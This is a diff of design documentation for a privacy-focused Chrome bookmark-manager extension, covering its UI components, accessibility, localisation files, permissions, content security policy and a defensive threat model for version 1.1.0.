||||
half. An illegal drop — onto itself, into its own subtree, beside a
|
||||
permanent root, into a managed folder — shows nothing and does nothing; a
|
||||
cancelled drag clears every highlight.
|
||||
- **Move to…** (`MoveToDialog`, built on `Modal`): a filter box over every
|
||||
folder the item may move into, each as its full path, indented — the item
|
||||
itself, its subtree, its current parent and managed folders left out.
|
||||
Picking one appends the item there. The list renders only while the dialog
|
||||
is open.
|
||||
- **`<DuplicatePanel>`**, in the side column: "n duplicated links · m extra
|
||||
copies" (each count pluralized on its own), then each group under its
|
||||
normalized URL, largest first. Every copy
|
||||
shows its title and the folder it lives in; the first is marked "kept", the
|
||||
others get a delete button; "Keep the first of each, delete m copies" sits
|
||||
behind a danger confirmation with that number.
|
||||
|
||||
A failed command shows above the tree as an `<ErrorCallout>` (localized
|
||||
message, technical detail), plus "moved / deleted d of t" when a bulk command
|
||||
stopped part-way; the tree is then re-read. Empty states are text only:
|
||||
"Reading your bookmarks…", "No bookmarks yet — import some to get started.",
|
||||
"Nothing matches that search."
|
||||
|
||||
### 3.4 #settings
|
||||
|
||||
@@ -166,7 +350,11 @@ behind a `<ConfirmDialog>` (six preferences is enough to be worth a confirm).
|
||||
|
||||
`<AboutCard>`: logo, name, version (from manifest at runtime), tagline;
|
||||
links: **GitHub repo ↗** · Report an issue ↗ · Changelog ↗ · Chrome Web Store ↗;
|
||||
**Third-party dependencies: None 🎉** (statement, satisfies the requirement);
|
||||
**Third-party code:** no runtime dependencies are installed, and the two
|
||||
MIT-licensed pieces the build compiles in are named — the Svelte runtime and
|
||||
WXT's one-line browser shim — with their notices shipped in the package as
|
||||
`THIRD_PARTY_NOTICES.txt` (since v1.1.0; it used to say "Third-party
|
||||
dependencies: None", which was never true of the bundle);
|
||||
Donate: **all five** handles from `14 §5` / `.github/FUNDING.yml` — GitHub
|
||||
Sponsors · Ko-fi · Buy Me a Coffee · Patreon · PayPal (platform names are brand
|
||||
names and stay untranslated, `07 §4`);
|
||||
@@ -175,7 +363,9 @@ GitHub `legal/` file; "Legal terms accepted on <date> · version n" — where `n
|
||||
is the version the user **accepted**, from the stored record, not the current
|
||||
`LEGAL_VERSION` constant. Reachable before acceptance (`14 §2`), so it also has
|
||||
a not-yet-accepted state, and a dateless variant for a stored record whose
|
||||
timestamp is missing or unparseable.
|
||||
timestamp is missing or unparseable;
|
||||
Diagnostics: a one-line note and **Copy diagnostics**, which puts this tab's
|
||||
local event log on the clipboard on an explicit click (`09 §7`).
|
||||
|
||||
"Changelog" points at `CHANGELOG.md` on `main`. (It pointed at the repo's
|
||||
releases page until Phase 5 wrote that file — an empty releases page beats a 404
|
||||
@@ -186,11 +376,15 @@ shape and the file's existence, so the fallback cannot silently return.)
|
||||
once the item went public. It is the only route a user has from inside the
|
||||
product to rate or review it, which `13 §6` depends on.
|
||||
|
||||
**No support email appears anywhere in the UI.** `contact@poli0981.dev` lives in
|
||||
`SECURITY.md`, `CONTRIBUTING.md` and `legal/PRIVACY.md` only. An address on an
|
||||
in-product surface invites users to mail their real bookmark file, and receiving
|
||||
unsanitized personal URLs is exactly what `09` and the privacy policy are
|
||||
written to avoid (`15` decision log, 2026-08-03).
|
||||
**No email address appears anywhere in the product.** Since v1.1.0 the
|
||||
project's addresses are per purpose (`security@` in `SECURITY.md`, `privacy@` in
|
||||
`legal/PRIVACY.md`, the rest in the legal files and the README's contact table;
|
||||
`contact@` is retired), and none of them is inside the extension. An address on
|
||||
an in-product surface invites users to mail their real bookmark file, and
|
||||
receiving unsanitized personal URLs is exactly what `09` and the privacy policy
|
||||
are written to avoid (`15` decision log, 2026-08-03). `tests/unit/links.test.ts`
|
||||
fails on a `mailto:` or an `@poli0981.dev` address anywhere under `src/` —
|
||||
widened in v1.1.0 from `links.ts` alone.
|
||||
|
||||
## 4. Component inventory (`src/lib/components/`)
|
||||
|
||||
@@ -198,11 +392,15 @@ written to avoid (`15` decision log, 2026-08-03).
|
||||
`TreeView` · `TreeNode` (recursive, `{#await}`-free, lazy children) ·
|
||||
`FolderPickTree` · `StatsCard` · `WarningList` · `ImportOptions` ·
|
||||
`FormatSelect` · `ProgressBar` · `ResultCard` · `SearchInput` ·
|
||||
`DuplicatePanel` · `ConfirmDialog` (native `<dialog>`) · `Toast` (queue,
|
||||
auto-dismiss 4s, ARIA `status`) · `SettingRow` · `AboutCard` · `LegalGate` ·
|
||||
`Button` · `Callout`.
|
||||
`DuplicatePanel` · `Modal` (native `<dialog>`; every dialog is built on it) ·
|
||||
`ConfirmDialog` · `Toast` (info and success one at a time, up to three queued,
|
||||
auto-dismissed after 4 s; **the latest failure pinned above them until
|
||||
dismissed**; polite and assertive live regions) · `SettingRow` · `AboutCard` · `LegalGate` · `Button` ·
|
||||
`Callout` · `ErrorCallout` (localized message + technical detail) · `Icon`
|
||||
(§6).
|
||||
|
||||
Rule: components ≤ 300 lines; recursive tree logic isolated in `TreeNode`.
|
||||
Rule: components follow `10 §1` (300 lines soft, 500 hard); recursive tree
|
||||
logic stays in the node components.
|
||||
|
||||
As built, some inventory names map differently — recorded so the list is not
|
||||
read as a list of missing files:
|
||||
@@ -210,27 +408,108 @@ read as a list of missing files:
|
||||
| Inventory name | Realized as |
|
||||
|---|---|
|
||||
| `AboutCard` | `AboutTab.svelte`, for symmetry with the other four tab shells |
|
||||
| `TreeView` | inline in `EditTab.svelte`; the row is `TreeRow.svelte` and the flattening lives in `edit/tree-keyboard.ts` |
|
||||
| `TreeView` | `TreeList.svelte` (the `role="tree"` list, a window of rows around the focus) + `TreeRow.svelte` (one row) with `RowActions.svelte` and `RenameInput.svelte`. State and commands live in `stores/edit-{view,commands,session}.svelte.ts`, the flattening in `edit/tree-keyboard.ts`, the key handling in `edit/tree-keys.ts`; `EditTab.svelte` is markup and wiring |
|
||||
| `TreeNode` | `TreePreviewNode.svelte` (import preview) + `FolderPickNode.svelte` (export picker) |
|
||||
| `ResultCard` | inline in `ImportTab` |
|
||||
| `ResultCard` | `ImportReport.svelte` (step 05, with its actions); step 04 is `ImportProgress.svelte`, and `ImportAnnouncer.svelte` is the import's one live region |
|
||||
| `SearchInput` | inside `EditToolbar.svelte` |
|
||||
| — | plus `SettingsTab.svelte` (the fifth tab shell), `EditToolbar.svelte` and `MoveToDialog.svelte` |
|
||||
| `Icon` | `icons/Icon.svelte` |
|
||||
| — | plus `SettingsTab.svelte` (the fifth tab shell), `EditToolbar.svelte`, `MoveToDialog.svelte` and `StatusBar.svelte` (the Manager's footer) |
|
||||
|
||||
`Toast`'s queue and timers live in `stores/toast.svelte.ts`, not the component:
|
||||
one `<Toast>` mounts at the App root while the route chain below it unmounts on
|
||||
every navigation, so component-owned timers would leak by construction.
|
||||
every navigation, so component-owned timers would leak by construction. A
|
||||
`danger` toast has a slot of its own, above the queue, and no timer (since
|
||||
v1.1.0): four seconds is too short to read a failure, let alone act on it. A
|
||||
newer failure replaces it; a repeat of the same one keeps it. 1.1.0's first cut
|
||||
held failures at the head of the one queue instead, and every later toast —
|
||||
"Link copied", "Saved" — waited unseen behind it.
|
||||
|
||||
## 5. Accessibility & keyboard
|
||||
|
||||
- Tree uses `role="tree"/"treeitem"`, `aria-expanded`, `aria-level`; arrow
|
||||
keys per WAI-ARIA tree pattern (↑↓ move, → expand/first child, ← collapse/
|
||||
parent, Home/End, type-ahead by first letter).
|
||||
- All actions reachable without a mouse; DnD has menu-based "Move to…" parity.
|
||||
- Dialogs: native `<dialog>` + focus trap + `Esc`.
|
||||
- Progress announced via `aria-live="polite"` every 10%.
|
||||
- Contrast ≥ 4.5:1 in both themes (tokens chosen accordingly).
|
||||
- **#edit is the one ARIA tree** (`TreeList`): `role="tree"` on a focusable
|
||||
`<ul>` — one tab stop — with roving focus through `aria-activedescendant`.
|
||||
Rows are `treeitem`s with `aria-level`, `aria-expanded` (expandable rows
|
||||
only), `aria-selected` and explicit **`aria-setsize`/`aria-posinset`**: the
|
||||
rows render flat, so the browser cannot count siblings, and without them a
|
||||
screen reader said "1 of 1" on every row. `aria-busy` while a bulk command
|
||||
runs. Tabbing in with nothing focused focuses the first row.
|
||||
- Keys on the tree (`edit/tree-keyboard.ts`): ↑/↓ move; → opens a closed folder
|
||||
or steps into an open one; ← closes it or steps out to the parent;
|
||||
Home/End; type-ahead by first letter, wrapping. → on an empty folder does
|
||||
nothing, even after "Expand all" put it in the open set. Enter opens a
|
||||
bookmark or toggles a folder; F2 renames; Del asks to delete; the **menu key or
|
||||
Shift+F10** opens "Move to…"; **Ctrl/⌘+C** copies the focused bookmark's
|
||||
link. Ctrl/⌘+F focuses search from anywhere in the tab. Keys typed into the
|
||||
rename input belong to it.
|
||||
- **Focus never dangles.** A focused row that leaves the screen hands focus to
|
||||
its nearest visible folder (`03 §3`). After a delete, focus goes back where
|
||||
the delete was asked for — the tree, or in the duplicate panel the next
|
||||
copy's delete button, else the panel's close button — because the dialog
|
||||
cannot return it to a button that went with what it deleted. A step that
|
||||
replaces another (the import's preview, progress and result) moves focus to
|
||||
its own heading (`components/focus-heading.ts`) — only when focus was lost or
|
||||
already inside that tab, never stolen from elsewhere; inside step 04, a phase
|
||||
change that removes the focused control (confirming the backup) hands focus
|
||||
to the step's heading again. The import's outcome is spoken by one
|
||||
always-present live region (`ImportAnnouncer`).
|
||||
- **Dialogs** (`Modal`): the × is named "Dismiss" — it was named after the
|
||||
dialog, so a screen reader announced the cancel button as "Delete this
|
||||
item?" — and a confirmation's body is its `aria-describedby`, so the counts
|
||||
are read with the title.
|
||||
- **Row buttons are not tab stops** (`tabindex="-1"`; the disclosure is
|
||||
`aria-hidden`). They are mouse shortcuts, and each has a key above — Open
|
||||
(Enter), Copy link (Ctrl+C), Rename (F2), Move to… (menu key), Delete (Del);
|
||||
Sort A→Z is also on the toolbar.
|
||||
- Drag & drop has keyboard parity for **moving into a folder** ("Move to…").
|
||||
Placing an item at an exact position among its siblings — a before/after
|
||||
drop — has **no keyboard equivalent yet**; Sort A→Z is the only keyboard
|
||||
reorder.
|
||||
- **Read-only previews are lists, not trees.** The import preview and the
|
||||
export picker are nested `<ul>`s with disclosure buttons (`aria-expanded`,
|
||||
named "Expand folder: <title>") and, in the picker, checkboxes; plain Tab,
|
||||
Enter and Space are their whole keyboard interface. Both used to carry `role="tree"`
|
||||
without the arrow keys it promises, announcing a widget that ignored the
|
||||
keyboard.
|
||||
- Dialogs: every one is built on `Modal.svelte` — a native `<dialog>` opened
|
||||
with `showModal()`, which brings the focus trap, the inert page, Esc and the
|
||||
top layer. Focus moves in on open (the first control; **Cancel** in a
|
||||
`ConfirmDialog`, so Enter never confirms a destructive action) and returns
|
||||
to the opener on close; Esc, the backdrop and × cancel, and confirming never
|
||||
also fires the cancel handler.
|
||||
- Progress announced via `aria-live="polite"` every 10%. Toasts use two
|
||||
always-present live regions: polite for info and success, assertive for
|
||||
failures. The popup readout is `aria-live="polite"`.
|
||||
- The theme control is a real radiogroup: arrow keys and Home/End move the
|
||||
choice, one tab stop.
|
||||
- **Reduced motion:** every animation, and every transition that moves
|
||||
something, sits inside `@media (prefers-reduced-motion: no-preference)`.
|
||||
`tests/unit/styles/motion.test.ts` parses every `.svelte` and `.css` file
|
||||
under `src/` and fails on one outside it; colour, opacity and shadow fades
|
||||
are not motion and are exempt. State that must show either way — an open
|
||||
folder's turned chevron — is a static transform, not a transition.
|
||||
- **Contrast:** text ≥ 4.5:1; interactive boundaries and the focus ring ≥ 3:1 —
|
||||
in light and both dark variants (§1, enforced by `contrast.test.ts` at token
|
||||
level). Disabled controls say so with colour and the cursor, never opacity,
|
||||
which would drop text under the floor while it still has to be read.
|
||||
|
||||
## 6. Iconography
|
||||
|
||||
Inline SVG only (16/20px, `currentColor`), stored as tiny Svelte components in
|
||||
`components/icons/`. No icon-font, no external icon package.
|
||||
One component, `components/icons/Icon.svelte`: 34 named glyphs drawn for this
|
||||
project on a 24-unit grid — 1.75 stroke, round caps, `currentColor`, so every
|
||||
icon takes its colour and theme from the control around it. Props: `name`,
|
||||
`size` (default 16), `motion`, `turned` (a quarter turn — the open disclosure
|
||||
chevron). Decorative by contract (`aria-hidden`, `focusable="false"`): the
|
||||
control carries the accessible name, which is why an icon-only `Button` takes a
|
||||
`label`. No icon font, no icon package, and no emoji — 1.0.x's emoji rendered
|
||||
differently on every OS and could not follow the theme.
|
||||
|
||||
Motion variants, all defined inside the reduced-motion guard (§5), so asking
|
||||
for one is always safe:
|
||||
|
||||
| `motion` | What moves | Used on |
|
||||
|---|---|---|
|
||||
| `spin` | gear and sun turn a quarter while the enclosing button or link is hovered or focused | status-bar and popup Settings, the Light theme choice |
|
||||
| `bob` | the arrow bobs, looping, while hovered — or while a `.dragging` ancestor is (a file over the drop zone, a row being dragged) | tab icons, popup tiles, the drop zone, Start and Export buttons, Sort and Move to… |
|
||||
| `tilt` | the trash lid lifts on hover or focus | every delete |
|
||||
| `draw` | the check draws itself once, on appearing | success callouts and toasts |
|
||||
| `pulse` | the logo's spark breathes | the Manager header mark |
|
||||
@@ -32,18 +32,16 @@ Keep `appName` identical in all three locales (brand name is not translated);
|
||||
|
||||
```ts
|
||||
// locales/en.ts (vi.ts, ja.ts mirror the exact same shape)
|
||||
import { importTab } from './en-import';
|
||||
import { errors, warnings } from './en-notices';
|
||||
|
||||
const dict = {
|
||||
common: { import: 'Import', export: 'Export', edit: 'Edit',
|
||||
settings: 'Settings', about: 'About', cancel: 'Cancel', /* … */ },
|
||||
import: {
|
||||
dropHint: 'Drop a bookmark file or {browse} — .html, .json, .csv · max {size}',
|
||||
stats: { bookmarks: '{n} bookmarks', duplicates: '{n} duplicates found' },
|
||||
mode: { newFolder: 'Into a new folder (recommended)', merge: 'Merge into existing folders',
|
||||
replace: 'Replace everything' },
|
||||
replaceWarning: 'This deletes ALL current bookmarks. A JSON safety backup will download first.',
|
||||
progress: 'Importing… {done} / {total}',
|
||||
},
|
||||
/* export, edit, settings, about, legal, errors … */
|
||||
import: importTab, // en-import.ts: dropHint, mode, stats, progress …
|
||||
/* popup, status, export, edit, settings, about, legal … */
|
||||
warnings, // en-notices.ts
|
||||
errors,
|
||||
};
|
||||
|
||||
export default dict;
|
||||
@@ -53,9 +51,23 @@ export type Dict = typeof dict; // widened: string, NOT the literal 'Import
|
||||
```ts
|
||||
// locales/vi.ts (ja.ts identical in shape)
|
||||
import type { Dict } from './en';
|
||||
export default { /* … */ } satisfies Dict;
|
||||
import { importTab } from './vi-import';
|
||||
import { errors, warnings } from './vi-notices';
|
||||
export default { /* …, */ import: importTab, warnings, errors } satisfies Dict;
|
||||
|
||||
// locales/vi-import.ts — each part is checked on its own
|
||||
export const importTab = { /* … */ } satisfies Dict['import'];
|
||||
```
|
||||
|
||||
**Each locale is three files** (since v1.1.0): `<lang>.ts`, `<lang>-notices.ts`
|
||||
(`warnings` and `errors`) and `<lang>-import.ts` (the Import tab). `<lang>.ts`
|
||||
re-assembles them, so the runtime shape and every key path are unchanged — the
|
||||
split exists only to keep each file under the `10 §1` size limit as codes and
|
||||
Import strings are added. In vi/ja the parts are typed `satisfies
|
||||
Dict['warnings']`, `Dict['errors']` and `Dict['import']`, so a missing key fails
|
||||
`tsc` in the very file that lacks it. A new string goes in whichever file holds
|
||||
its branch.
|
||||
|
||||
```ts
|
||||
// index.svelte.ts
|
||||
import en from './locales/en'; import vi from './locales/vi'; import ja from './locales/ja';
|
||||
@@ -114,7 +126,9 @@ stay raw.
|
||||
|
||||
## 4. Translation workflow & tone
|
||||
|
||||
- New strings land in `en.ts` first (PR fails type-check until vi/ja follow).
|
||||
- New strings land in English first — in `en.ts`, `en-notices.ts` or
|
||||
`en-import.ts`, whichever holds the branch (PR fails type-check until vi/ja
|
||||
follow).
|
||||
- VI: neutral–friendly register, "bạn"; keep established loanwords
|
||||
(bookmark, import/export may stay English in UI where natural — decide per
|
||||
string, be consistent; folder = "thư mục").
|
||||
@@ -138,11 +152,34 @@ stay raw.
|
||||
`tests/unit/i18n/dictionaries.test.ts` enforce the shape: every plural key
|
||||
carries both forms in all three locales, and carries nothing else.
|
||||
|
||||
The current plural keys are `import.warnings.title` and **all seven**
|
||||
`warnings.*` codes — including the two that interpolate no count, because
|
||||
`ParseWarning` always carries one and a uniform shape lets `WarningList` call
|
||||
`tPlural` unconditionally instead of maintaining a list of which codes count
|
||||
things. Anything else stays a plain string.
|
||||
The plural keys are **every** `warnings.*` code — including the two that
|
||||
interpolate no count, because `ParseWarning` always carries one and a uniform
|
||||
shape lets `WarningList` call `tPlural` unconditionally instead of
|
||||
maintaining a list of which codes count things — then `import.warnings.title`
|
||||
and, since v1.1.0, eighteen more: `popup.bookmarks`/`folders`;
|
||||
`export.start`; `import.start`, `countBookmarks`/`countFolders`, `reused`,
|
||||
`cancelledSummary`, `partialCreated`/`partialCleared`;
|
||||
`edit.deleteFolderBody`, `keepFirst`/`keepFirstBody`, `sortBody`,
|
||||
`showMore`/`showEarlier` and `duplicateLinks`/`extraCopies` (the duplicate
|
||||
summary was one string with two counts, so it read "1 duplicated links · 1
|
||||
extra copies"). Anything else stays a plain string.
|
||||
|
||||
⚠️ **No non-plural key may be named `one` or `other`.** The second test reads
|
||||
any branch holding either key as a plural and fails it unless it has exactly
|
||||
two keys. That is why the Firefox root names are
|
||||
`import.rootTitle.{toolbar, unfiled, mobile}`: a third key named `other` made
|
||||
the branch a malformed "plural".
|
||||
|
||||
- **Every code needs a message, in all three locales.** A code with no key
|
||||
renders as its own dotted path (`warnings.INVALID_URL`) and no union type can
|
||||
see it, so `dictionaries.test.ts` walks three runtime lists:
|
||||
`PARSE_WARNING_CODES` (eleven since v1.1.0, each a plural under `warnings.*`),
|
||||
`BM_PARSE_ERROR_CODES`, and since v1.1.0 `BM_BACKUP_ERROR_CODES`
|
||||
(`browser/errors.ts`, now `BACKUP_EXCEEDS_LIMITS` included) — plain strings
|
||||
under `errors.*`. A new code goes into its list, or the test cannot see it.
|
||||
`BmEnvError`'s codes (`NO_WRITABLE_ROOTS`, `WRITE_LOCKED`) have no list yet:
|
||||
the key-path parity check keeps vi/ja in step with en, but nothing checks
|
||||
that en has them.
|
||||
- Legal Gate: the four legal documents are **English-only** (canonical), with
|
||||
a localized one-line note: "The legally binding documents are in English."
|
||||
- Store listing: EN required; VI + JA listings via CWS dashboard localized
|
||||
|
||||
@@ -31,6 +31,24 @@ export default defineConfig({
|
||||
`host_permissions`, `activeTab`, `scripting`, `alarms`. The design
|
||||
deliberately avoids each (see `01_TECH_STACK.md §3`, `02_ARCHITECTURE.md §6`).
|
||||
|
||||
**What v1.1.0 adds needs no permission, and none of it is a network path.**
|
||||
Each uses only web-platform APIs that any extension page has, scoped to this
|
||||
extension's own origin inside the browser, and all long available below the
|
||||
Chrome 136 floor (§7):
|
||||
|
||||
| Feature | API | Why no permission |
|
||||
|---|---|---|
|
||||
| The popup routes an open Manager (`browser/open-manager.ts`, `03 §5`) | `BroadcastChannel` | Messages go only to other documents of the same origin — the extension's own pages |
|
||||
| One bookmark writer across Manager tabs (`browser/write-lock.ts`, `03 §5`) | Web Locks (`navigator.locks`) | A lock name shared by the extension's own pages; nothing leaves the browser |
|
||||
| Copy diagnostics (`browser/diagnostics.ts`, `09 §7`) | Module memory + `navigator.clipboard.writeText` | Kept in the page's memory, never in `storage`; copied only on the user's click, like Copy link |
|
||||
|
||||
Finding the open Manager still uses `runtime.getContexts()`, `tabs.update` and
|
||||
`windows.update`, and a Manager learns its own tab id from `tabs.getCurrent()` —
|
||||
none of which needs `tabs`, because nothing reads a tab's URL or title
|
||||
(`02 §6`). Nothing here touches what §5 certifies: the extension
|
||||
transmits none of it, and the diagnostics log leaves the device only if the
|
||||
user pastes it somewhere.
|
||||
|
||||
## 3. Code integrity rules
|
||||
|
||||
- **No remotely hosted code.** All JS/CSS ships in the package. No CDN
|
||||
@@ -49,16 +67,20 @@ object-src 'self';`) restricts code execution only; it has no `connect-src` or
|
||||
the product and its zero-network claim. The production manifest now declares:
|
||||
|
||||
```
|
||||
script-src 'self'; object-src 'none'; connect-src 'none'; img-src 'self' data: blob:;
|
||||
style-src 'self' 'unsafe-inline'; font-src 'self'; media-src 'none'; frame-src 'none';
|
||||
worker-src 'self'; form-action 'none'; base-uri 'none'
|
||||
default-src 'none'; script-src 'self'; object-src 'none'; connect-src 'none';
|
||||
img-src 'self' data: blob:; style-src 'self' 'unsafe-inline'; font-src 'self';
|
||||
media-src 'none'; frame-src 'none'; worker-src 'self'; form-action 'none'; base-uri 'none'
|
||||
```
|
||||
|
||||
`connect-src 'none'` makes Chrome refuse every fetch, XHR, WebSocket,
|
||||
EventSource and beacon from an extension page; the rest closes remote images,
|
||||
stylesheets, fonts, media, frames and form posts. `style-src` keeps
|
||||
`'unsafe-inline'` because Svelte sets `style` attributes; there is **no
|
||||
`default-src`**, on purpose, because it would govern every unlisted directive. User-initiated
|
||||
stylesheets, fonts, media, frames and form posts, and `default-src 'none'`
|
||||
closes everything left unlisted (web app manifests, prefetches). Every directive
|
||||
the pages use is listed explicitly, so `default-src` changes nothing for them.
|
||||
`style-src` keeps `'unsafe-inline'` because Svelte sets `style` attributes.
|
||||
**WebRTC is not governed by any CSP directive Chrome enforces**, so it is held
|
||||
by the other two layers: both scan for `RTCPeerConnection`, prefixed aliases
|
||||
(`webkitRTCPeerConnection`, which Chrome still ships) included. User-initiated
|
||||
navigation — an About link, or "Open" on a bookmark via `tabs.create` — is not
|
||||
governed by a page CSP and is not a request the extension makes (`09 §1`).
|
||||
|
||||
@@ -75,10 +97,12 @@ governed by a page CSP and is not a request the extension makes (`09 §1`).
|
||||
#### Layer 2 — the built-artifact gate
|
||||
|
||||
`npm run check:manifest` (`scripts/check-manifest.mjs`) scans every `.js` file
|
||||
in `.output/chrome-mv3` for network APIs — including code that arrived through
|
||||
a dependency, which no source gate can see — and pins the manifest: MV3, the
|
||||
permission list, the exact key set, the Chrome floor, the exact CSP, and that
|
||||
every file the manifest and pages reference exists.
|
||||
in `.output/chrome-mv3` for the network identifiers the source gate bans, as
|
||||
bare words — including code that arrived through a dependency, which no source
|
||||
gate can see — and pins the manifest: MV3, the permission list, the exact key
|
||||
set, the Chrome floor, the exact CSP, that every file the manifest and the
|
||||
built pages reference exists, and that no page loads anything from outside the
|
||||
package.
|
||||
|
||||
#### Layer 3 — the source gate
|
||||
|
||||
@@ -145,8 +169,8 @@ any of them changes (`09 §4`).
|
||||
- No background service worker is registered at all (§02). If one ever
|
||||
becomes necessary, it must be an ES module (`type: 'module'`) and
|
||||
event-driven only.
|
||||
- Extension pages (popup/manager) may use `DOMParser`, `Blob`, `<a download>`
|
||||
freely — these need no permissions.
|
||||
- Extension pages (popup/manager) may use `DOMParser`, `Blob`, `<a download>`,
|
||||
`BroadcastChannel` and Web Locks freely — these need no permissions (§2).
|
||||
- **The floor is Chrome 136** (`minimum_chrome_version: "136"`, since v1.1.0;
|
||||
120 before). It is set by the language, not by an extension API: 136 is the
|
||||
first Chrome with every ES2025 built-in, and tsconfig's `lib` is ES2025
|
||||
@@ -178,4 +202,5 @@ any of them changes (`09 §4`).
|
||||
when browser language switched).
|
||||
- [ ] Version bumped (semver) in `package.json` (WXT propagates to manifest).
|
||||
- [ ] Privacy tab answers unchanged, or updated + re-certified.
|
||||
- [ ] Store listing screenshots regenerated if the UI changed.
|
||||
- [ ] Store listing screenshots regenerated if the UI changed
|
||||
(`scripts/screenshots.mjs --shoot` — `13 §2`).
|
||||
@@ -3,7 +3,9 @@
|
||||
## 1. Privacy guarantees (product-level, non-negotiable)
|
||||
|
||||
1. **Zero data collection.** No analytics, no telemetry, no crash reporting,
|
||||
no update pings. There is no server.
|
||||
no update pings. There is no server. The local diagnostics log (§7) is not
|
||||
an exception: it lives in the page's memory and leaves it only when the user
|
||||
copies it and pastes it somewhere themselves.
|
||||
2. **Zero network activity at runtime.** Enforced in three layers, all in
|
||||
`08 §3`: the production CSP (`connect-src 'none'` — the browser itself
|
||||
refuses), `check:manifest`'s scan of the shipped bundle, and the source gate
|
||||
@@ -22,9 +24,9 @@
|
||||
| # | Threat | Vector | Mitigation |
|
||||
|---|---|---|---|
|
||||
| T1 | **Malicious import file — markup injection** | Crafted `<script>`/`onerror` payloads in a .html bookmark file | `DOMParser('text/html')` produces an **inert** document (scripts never execute). We read `textContent`/`getAttribute` only. Rendering uses Svelte text interpolation — **`{@html}` is banned repo-wide**. |
|
||||
| T2 | Malicious file — resource exhaustion (huge/deep/zip-bomb-style) | 500 MB file, 1M nodes, 10k-deep nesting | Pre-parse size cap 25 MB; node cap 100 000; depth cap 200 — typed errors, parse aborts early. Lazy tree rendering (§05 §9) bounds DOM size. |
|
||||
| T3 | Dangerous URLs in imported bookmarks (`javascript:`, `data:`) | Clicking them in #edit | Never rendered as `<a href>`; "Open" uses `tabs.create`, which refuses `javascript:`. UI marks non-http(s)/ftp/file/about/chrome schemes with a ⚠ badge; they are display-only. Imported URLs are stored verbatim (user's data, not ours to censor) — the browser's own bookmark UI applies its own rules. |
|
||||
| T4 | Data loss from destructive import | User picks "Replace all" casually | Non-skippable auto safety-backup (BM JSON download) *before* deletion; danger-styled confirm with exact counts; default mode is non-destructive new-folder. |
|
||||
| T2 | Malicious file — resource exhaustion (huge/deep/zip-bomb-style) | 500 MB file, 1M nodes, 10k-deep nesting | Pre-parse size cap 25 MB; node cap 100 000 — for HTML counted on the raw text before `DOMParser` builds anything (since v1.1.0; before, 1.7 M entries were materialised first); depth cap 200 — typed errors, parse aborts early. Replace's safety backup is held to the same caps before a byte is written (`BACKUP_EXCEEDS_LIMITS`, `core/caps.ts`), so a profile too large to restore is never deleted on the strength of a backup the parser would refuse. Bounded rendering (`05 §9`) caps what mounts at once. |
|
||||
| T3 | Dangerous URLs in imported bookmarks (`javascript:`, `data:`) | Clicking them in #edit | Never rendered as `<a href>`; "Open" passes only `http:`/`https:` to `tabs.create` (`browser/open-url.ts` — our allowlist, not the browser's refusal, is the control). UI marks every other scheme with a ⚠ badge; those are display-only. Imported URLs are stored verbatim (user's data, not ours to censor) — the browser's own bookmark UI applies its own rules. |
|
||||
| T4 | Data loss from destructive import | User picks "Replace all" casually; two Manager tabs write at once | Non-skippable auto safety-backup (BM JSON download) *before* deletion, refused outright when the import could not read it back; danger-styled confirm with exact counts; default mode is non-destructive new-folder; one bookmark writer across tabs (`03 §5`). |
|
||||
| T5 | Supply-chain compromise | Malicious transitive dep | **Zero runtime deps**; dev deps pinned via lockfile; Dependabot with a 7-day cooldown + `min-release-age=7`; `npm audit --omit=dev` in CI; Biome installed exact-pinned. See §3.1. |
|
||||
| T6 | Store-listing impersonation / trademark issues | — | Unique name + linked GitHub; report via CWS if cloned. |
|
||||
| T7 | XSS via filenames/titles echoed into UI (result cards, toasts) | Weird characters in file name | Same as T1 — text interpolation only; filenames additionally sanitized for the *download* name (`[\\/:*?"<>|]` → `_`). |
|
||||
@@ -63,6 +65,27 @@ mechanical was watching:
|
||||
bookmark titled "Your bank" rendered exactly like a safe one and its Open
|
||||
button silently did nothing.
|
||||
|
||||
### v1.1.0 — what changed against the model
|
||||
|
||||
- **T4's confirmation did not exist until v1.1.0.** The row has always promised
|
||||
a "danger-styled confirm with exact counts"; 1.0.x had only a danger-styled
|
||||
button. Replace now opens a `ConfirmDialog` — focus on Cancel — stating how
|
||||
many bookmarks and folders will be deleted (everything inside the writable
|
||||
roots, from the preview read) and how many will be written (a preview plan
|
||||
with the chosen mode and dedupe), `06 §3.1`. Checked by hand (`11 §5`); the
|
||||
counts come from tested pieces (`prepareImport`, `buildImportPlan`).
|
||||
- **T2 met T4 in the backup.** A profile past the node, depth or size cap got a
|
||||
backup that the parser then refused — after the tree had been deleted. The
|
||||
backup is now compact BM JSON, checked against the import's own caps before
|
||||
anything is written, downloaded or deleted (`03 §1` step 6b;
|
||||
`safety-backup.test.ts`, `caps.test.ts`).
|
||||
- **A second tab was an unmodelled writer.** Two Manager tabs replacing at once
|
||||
would each back up, then delete what the other was writing. The import, Sort
|
||||
A→Z and keep-first now hold a Web Lock, and a second writer is refused before
|
||||
it touches anything (`03 §5`, `write-lock.test.ts`).
|
||||
- **Diagnostics are new data, kept local** — what may and may not be recorded
|
||||
is §7.
|
||||
|
||||
## 3. Secure coding rules (enforced)
|
||||
|
||||
- `{@html}` — **forbidden**. Enforced by the source gate (`scripts/guard.mjs`,
|
||||
@@ -136,8 +159,9 @@ a **minor-version** event at minimum.
|
||||
- **Supported: the latest version published on the Chrome Web Store, only.** No
|
||||
back-porting — Chrome auto-updates every installed copy once a release passes
|
||||
review, so there is no population left behind to back-port for.
|
||||
- Report privately via GitHub Security Advisories, or `contact@poli0981.dev` for
|
||||
reporters without a GitHub account. Never a public issue.
|
||||
- Report privately via GitHub Security Advisories, or `security@poli0981.dev`
|
||||
for reporters without a GitHub account (`contact@` is retired since v1.1.0;
|
||||
each purpose has its own address). Never a public issue.
|
||||
- Acknowledgement 72 h; fix **prepared** within 14 days for High/Critical. Time
|
||||
to *users* is that plus store review, which is outside our control — the
|
||||
policy says so rather than implying a delivery guarantee we cannot make.
|
||||
@@ -158,3 +182,41 @@ came out with every title intact. Anything received by email is kept only as lon
|
||||
reproduce and fix, then deleted; `legal/PRIVACY.md` states the same to users.
|
||||
This is the receiving-side counterpart to §3's rule that error messages never
|
||||
echo more than a 120-character excerpt of file content.
|
||||
|
||||
## 7. Local diagnostics — `browser/diagnostics.ts`
|
||||
|
||||
A bug report needs more than "it failed", and §1 rules out sending anything.
|
||||
So since v1.1.0 each page keeps its last **200** events in a ring buffer in
|
||||
module memory, and About → **Copy diagnostics** puts them on the clipboard as
|
||||
JSON — on an explicit click, write-only, like Copy link (T8). The user decides
|
||||
whether to paste it anywhere.
|
||||
|
||||
